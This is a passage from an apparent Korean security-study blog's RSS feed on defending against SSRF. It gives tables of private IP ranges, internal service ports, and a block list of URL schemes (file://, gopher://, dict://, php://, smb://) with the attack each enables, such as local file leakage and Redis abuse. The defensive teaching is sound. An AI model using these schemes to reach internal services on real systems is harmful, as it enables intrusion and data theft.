&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Private Class A&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;10.0.0.0/8&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사설망 대역&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Private Class B&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;172.16.0.0/12&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사설망 대역&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Private Class C&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;192.168.0.0/16&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사설망 대역&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Link-Local&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;169.254.0.0/16&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;로컬 네트워크 자동 설정 대역&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;IPv6 Loopback&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;::1&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;IPv6 로컬호스트&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;IPv6 Unique Local&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;fc00::/7&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;IPv6 사설망 대역&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[포트서비스설명]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 120px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;포트&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서비스&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;height: 10px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;22&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 10px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;SSH&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 10px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;원격 서버 접속&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;3306&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;MySQL&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;데이터베이스&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;6379&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Redis&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;인메모리 DB&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;9200&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Elasticsearch&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;검색 엔진 / 로그 서버&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;11211&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Memcached&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;캐시 서버&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;3. URL 접근에 실패할 경우 사용자에게 에러 정보나 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;응답값을&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;노출하지 않고&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;, 일반적인 에러메시지 출력&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;bad Ex)&amp;nbsp; Connection refused at 127.0.0.1:3306&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;GOOD EX) 요청 처리 중 오류가 발생했습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;4. http, https 외의 다른 프로토콜 (FTP, SMB, SMTP 등)과 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;URL 스키마(file://, gopher://, data://, dict:// 등)에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대한 접근을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;차단해야 하며, &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;내부 호스트명이 외부에 노출되지 않도록 DNS 설정을 조정 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 54px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;구분&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;프로토콜&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;설명&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;허용&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;http://&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;일반 웹 통신 프로토콜&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;허용&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;https://&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;암호화된 웹 통신 프로토콜&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 164px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;구분&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;프로토콜/스키마&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;위험 요소&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;차단&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;file://&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;서버 내부 파일 접근 가능 (로컬 파일 유출 위험)&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;차단&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;gopher://&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;Redis 등 내부 서비스 공격에 악용 가능&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;차단&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;ftp://&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;내부 네트워크 스캔 및 파일 접근 위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;차단&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;dict://&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;포트 스캔 및 내부 서비스 탐지 가능&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;차단&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;data://&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;임의 데이터 삽입 및 우회 공격 가능&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;차단&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;php://&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;PHP 내부 스트림 접근 악용 가능&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;height: 22px; width: 14.7674%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;차단&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 19.4186%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;smb://&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 22px; width: 65.5814%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: GungSeo, serif; color: #000000;&quot;&gt;내부 네트워크 공유 자원 접근 위험&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;5. 애플리케이션 서버와 중요 내부 시스템간 네트워크 분리를 통하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;불필요한 통신을 제한하여 권한 없는 접근 과 외부로부터의 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;직접적인 접근을 방지&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;하지만 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;URL 미리보기 서비스, 웹 크롤러 서비스, RSS 수집기, &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;외부 API 연동 플랫폼일 경우 화이트리스트를 적용할 경우 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서비스에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;제한이 생길 가능성이 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 블랙리스트 필터링을 적용할 수 밖에 없습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;1. 내부망 IP 차단&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;2. 메타데이터 IP 차단 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;3. 프로토콜 제한&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;4. Outbound 방화벽 제한&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;5. 리다이렉트(Redirect) 재 검증&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/51</guid>
      <comments>https://thjkl2004.tistory.com/51#entry51comment</comments>
      <pubDate>Tue, 10 Mar 2026 21:53:51 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 모의해킹 프로젝트 (1) SSRF</title>
      <link>https://thjkl2004.tistory.com/50</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;지금부터는 모의해킹 프로젝트 기간이며 취약점을 찾는거 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;뿐만 아니라 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;보고서 작성까지 실습하는 시간이 되겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 이번 주차에는 모의해킹 프로젝트 준비 및 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;프로젝트 사이트 취약점 찾고 보고서를 작성하는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;준비하는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;시간이 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;되겠습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일단 모의해킹을 진행할 때는 그냥 취약점을 찾는다 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;라는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
